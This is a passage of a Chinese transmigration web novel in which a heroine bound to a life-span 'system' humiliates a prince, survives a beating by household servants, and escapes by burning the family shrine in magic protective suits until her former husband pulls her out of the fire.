男人再睁眼时,发现嘴巴被堵住,手脚也被绑得结结实实,最最恐惧的是,他身上除了一条亵裤外,再没有半片布料。
游万辰惊恐抬眼,却对上了俞采星似笑非笑的眸子。
“唔唔!”他一张俊脸涨的通红,活像一条原地扑腾的大鲶鱼。
“嘘……”俞采星示意他不要再做无用功,“今日算我给小郡王上了一课,以后掳人一定记得绑好手脚。”
说完她端着瓷碗,指尖沾了一滴蜂蜜放进嘴里。
真甜。
“你说的这种刑罚我听过,叫做笑刑,一只羊,一碗蜜,就能活活把人笑死。”
说着她沾了蜂蜜,指尖从男人的脸到喉结,缓缓滑下,掠过锁骨,落在赤裸的胸肌上。
游万辰浑身一绷,猛地一挣,绳子勒进手腕,硬.热.的肌肉在俞采星掌下微微跳动,呼吸全乱了。
俞采星手指没停,一路向下涂抹蜂蜜,故意在肚脐下方打了个转,最后手在男人亵裤上方停下。
“唔唔!”此时游万辰再也绷不住拼命摇头,脸上全是羞愤欲死的表情,他喉间发出的声音又哑又闷,像困兽濒死前最后的倔强。
俞采星眼见吓唬的差不多了,便收回了手,两人身份地位悬殊,往他身上涂蜂蜜可以,哪敢真放羊舔他。
“游万辰,我再说一遍,我没有给游千古种情蛊,以前我缠着你是我痴心妄想,从今往后你走你的阳关道,我过我的独木桥,我也不会再拿我小娘来挟恩图报,咱们之间恩怨一笔勾销,成不?”
男人发狠瞪向她,眼珠子都要瞪出来了。
“听到没有!”俞采星抬脚踢了踢。
“唔唔!嗯嗯!”游万辰顾不上其它,只能胡乱点头。
“就这么说定了,你若再仗势欺人报复我,你就是小狗。”俞采星跑到他背后,从捆绑的手中,找到小拇指,然后勾在一起。
“拉钩上吊,谁反悔谁就是小狗!”
说完俞采星把门反锁拖延时间,又打开后窗探头望了望,没人,这才翻窗逃了出去,大摇大摆离开了别院。
一路上碰到很多婢女侍卫,可根本没人敢拦她,因为这些奴才们早就看穿了游万辰的心思,否则也不能容忍原身一次次作妖。
屋内。
游万辰想死的心都有了。
现在他嘴巴被堵住,手脚绑着,浑身上下被脱.光涂满了蜂蜜,十分不舒服。
来人呐,快把本郡王解开!
可所有的呐喊最后只能化作一阵阵低声的呜咽。
安静的厅堂里,羊蹄踏地的‘哒哒’声格外清晰,一下一下,像在打拍子,离游万辰越来越近。
俞采星走得急,竟然忘了把小羊拴住。
那羊寻着甜味,越走越近,游万辰寒毛竖起,脸色“唰”的白了。
你不要过来啊!
来人呐!
俞采星你回来,你快回来!
救命啊!
然而一切只是徒劳,山羊粗糙温热的长舌一下舔在他脸上,直到吃干净上面的蜂蜜,又舔上喉结,往下,再往下……
*
此时已经日落西山,俞采星出了府门便打听着去了牙行
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,雇了一辆马车回俞府,而报酬就是从游万辰身上顺来的玉佩。
她坐在车厢里,很颠簸,肠子都在翻搅,穿书第一日,狼狈至极。
这时,她突然发现眼睛右上角出现一个红色角标。
“这是什么?”
系统:【你解锁新的续命法则,赠送给你的唯一一次抽奖轮盘,根据以往经验,不少宿主都靠它获得了金手指。】
原来这是加buff的。
俞采星点开角标,在她眼前弹出一个虚浮的古铜色转盘,上面除了一个红色的“开始”按钮外,整个转盘竟然是空白的,没写一个字,也不知道能抽到什么。
她摩拳擦掌,祈求老天让她开出一个无限寿命。
女人怀着激动的心情按下“开启”按钮,只见转盘高速旋转之后,指针渐渐归于平静,慢慢一行字显现出来:谢谢参与,安慰奖一份。
哈哈哈哈嗝,这手气……不是一般的背!
俞采星兴致缺缺,用意识点击领取礼包,谁知瞬间一股金光射出来,接着脑海里出现一个明亮的房间,里面摆满了实验器材、展示台、还有各式各样的瓶瓶罐罐。
她定睛一看,上面标注着【魔幻生命实验室】。
这……这是什么玩意儿?
房间的墙上挂着许多科学名人的头像,最醒目的地方贴着一行红色大字——“学海无涯,请用生命来绽放科学的魅力吧!”
咦惹,她都是死过一回的人了,谁还这么大爱无疆,她宁愿用生命来吃喝玩乐。
俞采星简单瞥了眼展示台,上面整齐的罗列着各种实验名称。
例如制作超自然高压电压服、超自然防火服、超自然水上陆地手环、超自然隐身衣、超自然锰钢、超自然维修工具,超自然电焊机……
后面密密麻麻还有好多,有些特有名词俞采星甚至都看不懂。
随便扫了一眼价位,差点没吓死。
因为制作条件不是金子,不是银子,而是生命值,里头最便宜的【超自然象棋】,都要72小时生命值。
她是来苟命的,又不是来搞超自然科学研究的,花三天的寿命买副象棋,她又不是脑子有坑。
俞采星赶紧退出【生命魔法实验室】,连抱怨都懒得抱怨了。
……
马车停在一座府邸门前。
眼看日头将落,暖黄的光晕斜照在门两侧威严的石狮子上,俞采星望着眼前紧闭的大门,原来此处就是俞府啊。
她走上前刚要敲门,没想到这时大门却自动开了,孙婆子走出来。
她看俞采星的目光很是不善,而且语气极度不屑:“夫人说,想必大小姐已经在锐亲王府用过山珍海味了,咱们府里的粗茶淡饭定入不了你的口,所以晚膳大小姐就不必吃了,直接去祠堂罚跪吧。”
俞采星皱眉,她亲娘可是救了锐亲王亲儿子的人,她怎会如此不受待见,再说只是一个管事婆子也敢对府里的小姐这么明目张胆地放肆么?
俞采星有些抓狂。
怪不得陆昭昭让她吃过饭再回家。
“系统,你能不能透露点原著内容,或者哪怕把原身的记忆给我也好,像现在两眼一抹黑,我很被动你知道吗?”
系统:【么得办法,总部规定,不能给你加载剧情,谁让你不想好计策,就这样冒冒失失回来,该!】
俞采星:“……”好吧,骂得挺对!
“大小姐就别僵着了,没用的。”孙婆子看俞采星站着一动不动,大概以为她在想法子摆脱罚跪,于是说:“来人,夫人命你们几个送大小姐去祠堂。”
接着走过来四个膀大腰圆的粗使婆子,她们其中两人抬腿,另外两人抬胳膊,然后俞采星就这样被强行扛进了府中。
8. 花费生命值
俞家祠堂。
堂内昏暗阴冷,进门第一眼俞采星就看到屋顶挂着的一个个供灯,随即鼻腔内充斥着檀香冥纸的气味。
正前方,一排排先人灵位整齐摆放错落有致,日头刚一落山,灵位旁的矮桌上便点起了烛火。
火苗四窜,照影攒攒。
俞采星被婆子们狠狠摁在地上,连个蒲团都不给,两个膝盖处磕得生疼,还浸着凉气。
这时孙婆子也跟着进来,把祠堂门关得严严实实,然后搬来杌子直接坐在俞采星的右后方,手里还拿着一根榎棍。
俞采星想,一个内院的管事妈妈敢在宗祠里跷二郎腿,态度还极其嚣张,如此看来原身那嫡母很器重她。
“我到底是朝廷三品大员的女儿,”俞采星用力挣扎,“纵使再错,母亲既罚了我跪祠堂,你们也不必如此粗鲁,我跪就是了,你们通通都下去吧。”
“哼!”孙婆子冷笑,手里的榎棍一下一下轻触掌心,“大小姐自己行为放浪,连累我老婆子也得跟着你在祠堂受罪,今夜若大小姐跪的姿势有半点不敬先祖,可别怪老婆子我手里的榎棍太硬!”
俞采星心下一慌。
这是要上演恶仆欺主的剧情节呀,她回头紧紧盯着孙婆子,跟游千古在一起八年,别的没得到,但他那咄咄逼人的姿态倒是学会了一两分。
“若说对俞家列祖列宗不敬,孙妈妈岂不首当其冲?我父亲尚不能在祠堂里落坐,而你孙妈妈却可以在此跷二郎腿,母亲当家主母的贤良名声,就容得你这么玷污么?”
“我呸!”孙婆子在俞采星背后啐了一口。
“你少拿老爷压我,更不用巧舌如簧往夫人头上扣屎盆子,谁家千金小姐如你这般放浪形骸?也不知你用了什么下作法子竟然能偷溜进锐亲王府,仗着你那贱人小娘救过小郡王,便想着爬小郡王的床,若老爷在家铁定打断你的腿。
锐亲王极其重视他的双胎嫡子,兄弟俩才八岁上,就得了圣上册封,一个世子,一个郡王,你个庶女竟还妄想飞上枝头变凤凰。
全城上下连稚子都知道你是何德行,老太太被你气得到如今下不来炕,老爷夫人的脸都叫你给丢尽了,连带着二小姐也抬不起头,耽搁了议亲,俞家祖先要是有灵,就该今晚把你收了去!”
呃~原身这么声名狼藉?
系统虽然不给加载剧情,可它有个爱八卦的毛病,时不时就出来唠两句。
这不,它又忍不住了。
【宿主,认命吧,这老奴说的都是真的,你爹如今皇命在身,下江南办案一个多月了。莫说不在家,就算他在家也不会护着你,只会罚得更重。半年前原身当街拦游万辰轿子高调示爱,轰动了整个皇城,就是你爹把你禁足半年,还断了你一应月例银钱,所以你如今才身无分文。】
俞采星:“……”真是个好爹!
【游万辰四岁时,原身亲娘因为机缘巧合救他一命,自己却因此丧命,若不是这救命之恩,你觉得你今日能囫囵个从锐亲王府出来?这么多年,锐亲王妃之所以能忍耐一个官家庶女纠缠她的宝贝儿子,就是因为这救命之恩才睁一只眼闭一只眼,而你爹也是因此才攀上锐亲王这棵大树,仕途一路高升。】
搞半天,原来这一大家子都在吃原身娘亲的人血馒头。
俞采星正在默默吃瓜,这时孙婆子给那四个粗使婆子使了个眼神,四人立刻心领神会,死命摁住俞采星就开始用力掐她的肉,哪儿嫰掐哪儿!
“啊!”俞采星疼得一叫。
“大小姐,祖宗面前你大呼小叫成何体统!”随着孙婆子话音一落,“啪”一声,俞采星后背挨了狠狠一榎棍。
她倒抽一口气,“欺人太甚!就算是母亲授意,你们这么明目张胆也不怕父亲回来怪罪么?”
孙婆子压根不惧。
“大小姐跪祖宗心不诚,仪态还歪歪扭扭,如此不敬先祖,老爷回来才会生气呢!”
五个人开始毫无底线。
她们用力把俞采星按倒在地,有一个婆子甚至骑.在她身上,她们掐皮、拧肉、撕头发,最无耻的还是孙婆子,榎棍一下一下大力打在她腿上。
刹那,俞采星甚至感觉不到腿的存在,只有一波波滚烫的剧痛从骨头里往外炸,那种疼,说不清是筋肉在疼,还是骨头在疼,整条腿都在密密地颤抖。
女人艰难忍着,大脑却在飞快运转。
这几人目标明确,看来今日就为寻个由头打断她的腿,若继续坐以待毙,她的小腿骨很快就会被敲碎。
虽然俞采星前生是修车的,力气练得比一般女人大些,可是面对五个婆子同时发难,根本没有任何招架之力。
此时她不得不承认,原来拿撬棍的,有时候也怕拿榎棍的。
俞采星:“狗统,你见死不救!”
它露出熔炉式微笑:【请宿主尽快自救,否则我将接洽下波业务。】
靠之!
五个人还在俞采星身上施.虐,疼痛中她脑子里突然涌出一个念头。
对了,还有个安慰奖,那个倒霉催的【生命魔法实验室】。
俞采星像是抓住了最后的救命稻草,立刻用意念进入实验室内,看着展示台上的各种超自然物品,然后视线锁定了一款“超自然电力护身服”。
于是她立刻查看实验数据。
【超自然电击防护服】:制作条件,任意布料五块、不同人类头发四根、任意鲜血三滴、生命值二百一十六小时;穿上后,除自己外的任何人碰触都会受到电击;制作完成后可永久持有;作用时长:六十分钟,期间不能间断、或者暂停放电,冷却时间:一年。
足足消耗二百一十六小时生命值,一年却只能使用六十分钟。
二百一十六小时,那可是整整九天!
俞采星现在满打满算还有六十天好活,一下子消耗这么多生命值,太心疼了。
可眼下再不反击,恐怕要被打残废了。
这明面上看是个防护服,可反过来看,不就是衣服形状的高压电网么?
名人老话说的好:宁可站着死,也不跪着生。
混乱中,俞采星爆发最后的力气,拽着衣袖用力撕下五块布料,又伸出手专门撕头发,这个撕下一绺,那个撕下一绺,几个中招的婆子疼得嗷嗷叫。
原本俞采星还想找机会打破一个婆子的鼻子,借用点鼻血,可是终究双拳难敌四手,她死死握住布料和头发,迅速咬破嘴唇,将布料怼在上面。
嘴唇处一阵刺痛,满口铁锈味,应该够三滴血了吧?
随即她发动意念,手上的东西瞬间消失收入到实验室中,接着拨出二百一十六小时的寿命,用意念摧动研制。
“立刻制作。”
五秒后,实验室【物品栏】中,“电击防护服”的图标被点亮,俞采星一键穿戴,防护服就到了她身上。
从外表看就是一件普通的白色连帽防护服,只有她能看的到,但是旁人能触摸到。
女人立刻默念:电击防护!
衣服瞬间发出三秒电流,只听“啊”一声四个婆子头发竖起、面部发黑,瞬间倒地。
俞采星的震惊一点不亚于对面几个婆子。
这金手指虽然费命,但却真好使啊,当时她就应该先想好一套“通关攻略”后,再回金府的,那就不用挨这顿打了。
再抬眼,俞采星直接对上了孙婆子充满恐惧的眸子,她虽然沾了木头榎棍的光没有触电,但情况却并不比晕倒强。
“喂,你们怎么了?快起来!”孙婆子大惊失色,赶紧蹲下身用榎棍触碰被电晕的四人。
昏暗的烛火下,她们浑身僵直,犹如被雷劈过一样,老半天,孙婆子才找回声音,抖着唇说了一句:“你、你用妖术!”
俞采星慢慢从地上爬起来,双眼怒目圆睁,衣服发丝凌、乱,嘴角还带着血,让幽暗的祠堂里,更添了一丝阴森恐怖。
她想,此时自己应该狂笑一声渲染气氛,可惜不会,只能干巴巴一句:“现在轮到你了。”
那声音不大,也没有什么起伏,可就是这种死水般的平静,反而让孙婆子从骨头缝里往外冒寒气。
“妖、妖妖怪!”她撒腿跑去敞开祠堂大门,却被俞采星一把抓住,门再次被关上。
五个人她打不过,收拾一个,那还不是手拿把掐。
“错了。”俞采星活动一下手腕脚
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腕,对着孙婆子说道,“我不是妖怪,而是厉鬼。”
然后手脚并用,全在她身上招呼。
果然,一对一,孙婆子在俞采星面前就是个渣渣。
持续了大约一刻钟,女人觉得仇报的差不多了,这才停手。
可放倒五个婆子,并不代表危机解除,嫡母姜秀荣此次就是为了断她双腿,结果没办成,反而折了五个心腹,那接下来情况只会更糟糕。
必得找到个一劳永逸的法子。
突然,俞采星眸光掠过前面这些排位。
她立刻把瘫在地上的孙婆子拉起来,然后十指微蜷,压着嗓子装神弄鬼,“孙婆子,抬眼看看我是谁?你竟敢在我面前跷二郎腿,还毒打我的曾孙女,我今天就要勾了你的魂魄,你拿命来吧。”
俞采星语气森然,跳动的烛火映得她的脸明灭可见,似鬼魅一般。
“你是老……老太君!”孙婆子果然被吓破了胆,立刻就供出姜氏,“老太君饶命啊,不是我,是夫人,是夫人要我们今夜以女子淫.乱之罪把大小姐的双腿打断,老太君饶命!”
果然如此。
俞采星用力把孙婆子推倒在前面的供桌上,力道撞翻了烛台,灯油洒了出来,火苗顺着灯油快速燃烧了起来。
“我不管,总之谁欺负我曾孙女,我就勾谁的魂,我今日便用地府冥火烧死你。”
在古代,没有什么会比鬼神之事发酵得更快。
“我再也不敢打大小姐了,老太君饶命!”孙婆子大叫着冲出祠堂,刚跑出门去就跌了一跤,却因为恐惧立刻爬起来继续跑,“老太君从地府回来了,她要烧死我!”
俞采星还以为她是个硬茬,没想到三言两语就吓破了胆。
这次她没有再拦着,目的就是要让孙婆子吵嚷的满府都知道,最好传出府去,让整个皇城的人都知晓。
用鬼神的说法唬一唬下人奴才还行,但她那世家出身的黑心嫡母可不会上这个当,只有传出姜氏打杀庶女的传言,她才会有所顾忌。
所以,最好的法子就是从祠堂下手。
“对不起了各位!”俞采星转身重新看了眼俞家列祖列宗的牌位,然后悠哉拿起一碟供奉的桃花酥吃起来。
“别怪我烧你们老窝,实在是你们家这些子孙后代太过恶毒,要怪就怪你们家训不严,教子无方。”
于是俞采星又再次进入实验室,这次她想制作的是“超自然防火服”。
【超自然防火服】:任意布料一块、任意可燃物十个,消耗生命值一百九十二小时;制作完成后可永久持有;作用时长:八十分钟,不可间断、或者暂停防火,冷却时长:三年。
这个虽然稍稍便宜点,但冷却时长却增加了三倍,这跟一次性的有什么区别。
可舍不得孩子套不着狼,为了彻底保住小命,这些生命值必须得花。
俞采星再次撕了衣服,又拿过一盏油灯,外加九个牌位,拨出一百九十二小时的生命值放入实验室制作,五秒后完成。
这次的防火服样式和现代的差不多,依旧只有俞采星能看见,俞采星立刻穿在身上,戴好帽子。
她瞥了眼脑内右上角的生存时长,目前还剩下43天:18小时:42分钟:19秒。
真是一寸光阴一寸金,两件衣服就作没了十七天,不过好在都是永久持有,就是冷却时长太坑人了。
俞采星快速把四个电晕的婆子拖出去,接着返回祠堂打翻了所有供灯,这里添把火,那里添把火,不一会儿功夫祠堂内火势就大了起来。
俞采星长吸一口气,一键脱下电击服,又一键穿上防火服,电击服则重新变成【物品栏】里的一个图标。
即使脱下来,电击服依旧带电,直到六十分钟过去后,进入冷却期,防护服也是同样的情况。
火势逐渐变大,黑烟翻涌着灌满整个祠堂,火舌兜头盖脸压下来,然而俞采星却安然无恙。
没想到这超自然防火服质量这么好,不仅防火隔热,还能防摔防撞击,竟连呼吸的空气都是清新的,肺部没有丝毫不适。
希望能逆风翻盘吧。
没过一会儿,祠堂外面就骚动起来了。
9. 意外的来客
“走水了,祠堂走水了,快救火!”陆陆续续有丫鬟家丁拿着小木桶来救火,可他们提着木桶,走一路洒一路,不仅火没灭,眼瞅着还越来越大。
阖府上下全都惊动,连姜秀荣也匆匆赶过来。
眼看着火舌从祠堂檐角窜出,舔上东厢房的窗棂,又将西塾房的檐椽烧着,随后借着夜风,火星飘向连廊,直接引燃了护厝。
炎炎夏夜,灼浪扑面、火光冲天,把姜氏的脸映得忽明忽暗,“快、快去通知军巡铺!”
再晚,火恐怕要将整座府邸烧光了。
她愤懑望向祠堂,孙婆子是如何办事的,不过让她教训俞采星,怎的引起大火来。
这时,一声声尖锐刺耳的喊叫声传遍了俞府:“老太君从地府回来了,回来给大小姐撑腰,刘婆子她们的魂已经被勾走了,她还要烧死我!”
她满眼惊恐瞪着大火,神智已然不清,“这火灭不了的,这是地府的冥火,你们是灭不了的,老太君要烧死我……”
孙婆子果真没有让俞采星失望,将发疯文学演绎到了极致。
祠堂外,成群结队打水灭火的下人们,听到被孙婆子的话后,脸上皆露出惧意。
他们忍不住望过去,只见祠堂已烧成一片火海,可那火光深处,竟稳稳立着一个人影,火焰似在她身旁绕开,连衣角都未见焦痕。
听闻大小姐今日被罚跪祠堂,看来那里面真的是她,若不是老太君显灵庇佑,这样的大火,凡人怎可能毫发无伤?
“咳咳!”同一时间,廊下跑过来一女子,梳着垂鬟分肖髻,插一支珍珠芙蓉步遥,身着鹅黄襦衫,下系石榴红长裙,以锦帕覆鼻,眼里有掩藏不住的慌张。
“大嫂,好端端的,怎么着火了?”来人正是俞承荫尚未出阁的亲妹,俞欣然,“祠堂里面……她……”
就在这时,孙婆子突然像发了疯一般,猛地冲向姜氏。
她双手死死抓住姜氏的衣角,力道很大,幸亏身边的两个贴身丫鬟反应敏捷,及时扶了一把,才没有摔在地上。
“夫人,刘婆子她们已经被老太君勾走魂魄,您得救我啊,是您让我打断大小姐双腿的,老奴不想死!”
“孙妈妈!”姜氏脸色骤变,“你是不是疯了,在这胡言乱语些什么?府里吉星高照,哪来的鬼魂作祟!来人,孙妈妈纵火行凶,见事情败落便借鬼神之事开脱,快用帕子塞住她的嘴,绑起来关进柴房等候发落!”
即使隔着灼热的火帘,俞采星依旧清楚看见孙婆子被强行拖走,下一瞬,她就被姜氏点名了。
“采星,因你行为放浪不知检点,又跑去纠缠小郡王,我这才罚你跪祠堂,好端端的怎么会着火?趁房梁还未坍塌你快些出来与孙妈妈对峙,这火究竟是谁放的?你放心,就算是你放的我也不会再追究。”
“快,进去把大小姐救出来!”
今日,姜氏原本打算趁着俞承荫去江南办案,在祠堂私下处决俞采星,将她一双腿打断,让她从此嫁不了人,走不了路,在俞府里凄凄惨惨了却一生。
如此折磨隋茹那贱.人的女儿,才能解她心头之恨,可如今事情闹得沸沸扬扬,绝不能让俞采星葬身火海。
俞承荫虽然对这个庶女没什么感情,但她活着一天,就同锐亲王府有一天的恩情,在仕途上就能有所依仗,连她们姜家也能跟着沾光。
其实,起初姜秀荣并不敢对俞采星下手,她虽与隋茹积怨已久,可俞采星毕竟是锐亲王府恩人的女儿。
直到半年前,俞采星自己作死,当街拦小郡王的轿子,锐亲王妃发了好大的火,亲自放话要姜氏严厉教导,不可再纵容。
她便象征性罚她跪祠堂,然而锐亲王妃并不满意,那段时间俞承荫的公务都棘手很多,时不时有政敌出来使绊子。
俞承荫知道他这庶女是触了锐亲王府的逆鳞,于是直接停了月银将她软禁半年,锐亲王妃这才消气。
姜氏便开始试探那边的底线,先是撤了俞采星所有奴婢,又将她院里值钱的东西全都搬走,最后一日就给一顿馊饭。
做到如此份上,锐亲王府都没有动静,那一刻,姜氏终于明白,锐亲王妃绝对无法容忍儿子被脏污缠身,隋茹的救命之恩并不能保护她女儿一生一世。
所以平时磋磨作践都无所谓,只要俞采星还有一口气,像个物件一样摆在俞家,锐亲王府就不会冷落俞家,毕竟即使是权势滔天的亲王,也不想坊间流传忘恩负义的骂名。
但要是人真死了,俞家同王府的桥梁断了,俞承荫回来必定大发雷霆,于她也无益。
“采星,现在不是任性的时候,赶紧出来,大嫂已经说了不会追究你纵火的事,这么大的火,万一你有个好歹,我和你母亲得多心疼。”
俞欣然嗓音急切,若不知内情的,听起来仿佛真有几分姑侄间的情深义重。
俞家的人,俞采星自是一个也不敢再信了。
她在火海中悠然自得,手里捏着上供的桃花酥,悠哉悠哉看着外面姑嫂二人的表演,此刻出去无疑就是自投罗网,她才不会半途而废呢。
俞采星在等,等待防火服的功效耗尽,祠堂化为一片废墟之后,那时再毫发无损走出去,必定会让整个俞府震惊。
这场大火会在整个皇城内传得沸沸扬扬,人们甚至会忘记原身曾因所谓的女德缺失而备受诟病,只会记住她是那个被俞家祖先庇佑、烈火焚烧也安然无恙的奇女子。
届时,就算姜氏再怎么不信鬼神之说,看她在大火中安然无恙,也必然会十分忌惮,至少再也不敢轻易对她私下下手。
想到这些,俞采星清了清喉咙,决定继续扮演俞家还魂“老太君”,对着祠堂外高声喊道:“姜氏,你嫁进俞家数十载,做不好当家主母也就罢了,没想到你竟然残害俞家的子孙。
采星虽是庶女,可也是我俞家正经血脉,我的亲曾孙女,她小娘救了小郡王,因这恩情我孙子才能一路高升,这么好的孩子你都容不下,我看你是存心要毁了俞家!”
祠堂之外回荡着俞采星的怒斥。
“大嫂!”俞欣然被她的话吓得不轻,赶忙紧紧抓住姜氏的手,声音低到几乎耳语般说:“不会真的是老太君——
”
姜氏则立刻用劲掐了下俞欣然的手,随之投去一个警示的眼神,后者这才意识到周围众多耳目在侧,立即闭紧了嘴。
今日俞采星在祠堂受私刑,有一半是她给大嫂出的主意,谁让这小贱人就跟她小娘一样,惯会勾引男人。
俞采星女德亏损,当众拦轿子勾引小郡王,闹得沸沸扬扬,连她和挽星的议亲都受到影响,让她怎能不恨!
正当胶着之际,俞府大门被一股巨大力量撞开,众人都以为是军巡铺派人来救火了,连忙顺着声音望去,迎面看见一百余名身披铠甲的士兵闯了进来。
这……不是军巡铺的人。
带头的是一位锦衣华服的高贵女子,一双凤眸柔中带刚,她梳着朝天髻,发间别两枚云形金丝镶宝石簪,身穿淡金流纹简式长裙,行步如风。
她身后跟着府兵,他们每人手中都提着沉重的水桶,后面还跟随着十多辆装满了大缸清水的木板车。
姜氏在看到来人时,满眼不可思议,但很快调整心绪,姑嫂二人恭敬行了万福礼:“妾身拜见王妃!”
后面丫头小厮也紧跟着跪了一地。
“此时不必虚礼,救火要紧。”她示意众人起身,长袖一甩,后面的府兵立刻冲向祠堂。
奴仆们正要依言起身,余光却瞥见王妃身侧忽地转出一道人影,那人身量高挑,步履沉稳,一身玄色长袍隐泛暗金绣纹,赫然便是世子爷。
奴仆们心头一震,方才只顾着向王妃请安,竟未曾察觉世子也在,当下便又慌忙屈膝,欲再行礼。
游千古却如一阵风般从他们眼前掠过,拿起水桶把自己浑身上下浇透后就冲进了火海。
“古儿快回来,你不要命了!”王妃急忙阻拦。
男人连一丝犹豫都没有,转眼已消失在火焰之中。
在场所有人都惊住了。
传闻锐亲王世子游千古不近女色,就连平时皇亲贵戚举办的游园赏花也一概不去,可今日竟然闯进大火里救人,还是救一个声名狼藉、与他胞弟纠缠的无德庶女。
怪哉,怪哉,难道今夜真的是俞家老太君显灵了?
姜氏脸都黑了,火势那么大,万一游千古死在里头,别说从前的恩情没了,连整个俞家都得完蛋。
“娘娘,采星不过一个庶女,怎能让世子爷冒险,万一伤到——”
姜氏话还没说完便被王妃打断:“快,保护世子,尔等速速灭火!”
“是!”一众府兵领命,立刻纷纷对着祠堂泼水。
姜氏被噎,可也不敢怠慢,立刻让奴仆们去取水,好在没过多久,军巡铺的人也推着水车来了。
她暗自祈祷,这个节骨眼,游千古千万千万别死在里头。
俞采星自然听到了外面的动静,她抻着脖子定睛一看,天杀的,游千古竟然闯进来了。
“小星!”
熊熊大火中,那个熟悉的嗓音直直撞进俞采星的耳膜。
“咳咳!”她正在角落里专心致志啃桃花酥,一回头便撞上一双焦急到近乎失常的眸子,直接被吓到噎住。
10. 计划被破坏
怕穿帮,俞采星赶紧抹掉嘴边的点心渣。
抬眼望去,烈火中男人脸上的焦急是她上辈子从未见过的,没想到在一起的八年她没能力搅动他的情绪,离婚两年后却做到了。
真是讽刺。
可游千古这样冰冷的男人,不应该从来都是心如磐石,即使泰山压顶也面不改色的么?今日是撞了什么邪?
仅思索片刻,俞采星就联想到了他的系统任务,心不觉又凉了几分。
凭着两声被噎的轻咳,游千古第一时间确定了她的位置。
男人看不见防火服,但当他目光伴随浓烟从俞采星身上掠过时,眸子瞬间变得很吓人,似乎要把她生吞活剥。
女人不由一僵。
俞采星就说他怎么可能关心自己,现在这个表情才是真实的,她将自己置于大火之中,游千古是怕她死了,导致他完不成任务被直接抹杀。
若游千古知道她此时的想法,能直接被气发财了。
浓烟烈火中,游千古目光触及到俞采星凌乱的衣衫和脸颊的伤痕,好不容易才压下要杀人的冲动。
竟然有人打了她!
“小星别怕,我带你离开!”
“谁用你救,你别过来。”
俞采星赶紧出口拒绝,虽然她身上的防火服外人肉眼看不见,但是有个弊端,只要上手一摸就知道有古怪,何况游千古这么聪明的人。
更何况,她还想通过火灾,给自己洗白一下恶臭的名声呢。
“你少多管闲事,我不出去,警告你别再往前走了,否则我就跳进身后的大火里。”俞采星方方面面都已计划好了,堪称完美,他凭空冒出来捣什么乱。
“小星,乖,别闹。”游千古竟然用他们热恋时的语气同她说话,声音轻轻柔柔,开口便让人觉得满含爱意,但他此刻的嗓音里,似乎夹杂着些许震颤。
俞采星想,大概是火势太大,她听岔劈了。
“游千古你搞搞清楚,我们已经离婚两年了,我的事不用你管,从上辈子签下离婚协议书的那一刻开始,你就在我心里一文不值了,我们永生永世再无瓜葛,虽然你可以给我续命,但我不稀罕!”
她已经有了保命的法子了。
俞采星一边说着一边退进火焰更深处,反正防火服质量过硬,她不怕火烧,也不怕木头坍塌砸下来。
“别动,你想死么!”
游千古看俞采星退进大火里便惊慌大喊,他仿佛又回到前世轮胎爆破的那个中午,就连此刻身陷烈火之中依旧觉得浑身冰冷。
火势很大,虽然男人浑身湿透暂未烧着,但烟熏火燎中,他的眼睛赤红一片,连嗓子也被呛到沙哑。
俞采星看到他的模样下意识撇开眼,“你快走吧,火越来越大,再晚你就出不去了,迟来的深情比草贱,就算今夜你在这里被烧死,我也不会有半分难过!”
她的计划天衣无缝,绝不能在这个时候被游千古破坏而功亏一篑。
“小星听话,快过来。”游千古再次开口,语气经过火焰炙烤听着像祈求。
可俞采星不为所动。
屡次劝说无果后,男人猩红的眼眸紧紧盯着俞采星,沉默了两秒,他突然轻轻一笑。
“迟来的深情?笨蛋小星,你动动脑子,我像是吃回头草的人么?”
“什么意思?”俞采星的身体一窒。
大火中,那张女人曾经爱惨的脸重新镀上一层冰冷,他一字一句地说:“你不早就知道我的穿书任务是攻略你么?任务没完成呢,我怎么可能让你死在火里。”
他轻嗤一声:“还有,别装了俞采星,我知道你一点也不想死,既然你不想死,而我为了自保绝不可能放弃救你,所以别浪费大家时间,你早一分钟出去,就可以早一分钟摆脱我。”
虽然早就知道他来救她的目的,可此时亲口听男人说出来,难免有些晃神,竟然还傻傻问了句:“你就那么自信,我会被你攻略?”
然而这时,游千古趁她愣神之际,猝不及防上前猛地抬起胳膊,为俞采星挡开头顶掉落的一段烧红的木头,将她扯过来。
男人在碰到女人的刹那,悬着的心终于放下,此时他声音又恢复了以前的清冷与淡漠,“你觉得这种情况下,我们适合聊天?”
游千古迅速脱下湿漉漉的黑袍直接将俞采星从头到脚罩起来,下一瞬男人长臂一挥,将她紧紧搂进怀里。
俞采星这才回过神来,第一反应是:完了,我的成神计划泡汤了,怕金手指被发现,她只能赶紧咬牙撤了防火服。
谁知刚脱下防火服,热浪便从四面八方袭来,俞采星仿佛身处在炼丹炉里,虽然被游千古的湿衣服盖着头,但根本无法睁开眼睛,吸进的空气不仅呛人,还烫得俞采星鼻腔生疼。
这男人是怎么做到在里面呆这么久,还面不改色的?
但转念一想,他做的一切都是为了系统任务,为了自救,刚才脑壳坏掉了才以为游千古冒死来救她是因为念旧情。
杀千刀的游千古,坏她好事,还害她遭罪。
也许是命不该绝,这么大的火,房梁都烧塌了,游千古竟然还能抱着俞采星冲出来。
“古儿!”锐亲王妃看到他出来松了口气,但看到他的胳膊,眼里又染上担忧,急切询问,“你受伤了?俞家姑娘既然救出来了,你先去治伤!”
听到游千古受伤,俞采星心里平静的没有半点波澜,毕竟他破坏了她的成神计划,况且他又不是为救她,他是为了救他自己才伤的。
“我无事,母妃不必担心。”
果然,俞采星撇撇嘴,游千古这么会权衡利弊的聪明人,又怎么会让自己受重伤。
一旁的姜氏看到游千古平安出来,也暗自松了一口气,但看他紧紧抱住俞采星的模样,心里有种不详的预感。
难不成这庶女走大运,被世子看上了?
姜氏暗自思忖,齐月国从开国到现在,目前只受封过两位世袭罔替的亲王,一位是先皇殡天前加封的宁亲王游刃,另外一位就是现在皇帝的胞弟锐亲王游厉。
锐亲王可不同于其他皇亲国戚,前护国将军郑元达被满门抄斩后,一半兵权掌握在他的手里,可谓一人之下,万万人之上。
皇帝年岁渐老,一直没有子嗣,朝堂之上都在猜测,将来大统必会出自锐亲王和宁亲王之间。
作为游厉嫡长子的游千古,身份自然尊贵无比,放眼齐月国没有一个女子能配得上他,就算娶别国最高贵的公主也是绰绰有余。
未来世子妃的家世最低也是朝中一品大员,但就算做世子的妾,那也比有些高门里的嫡妻要高贵得多。
姜氏暗自发狠,不行,要是小贱人攀上了锐亲王府,那将来她岂不是头一个遭殃?她是想跟王府交好,但前提是不能损害她的利益,否则这关系不如不要。
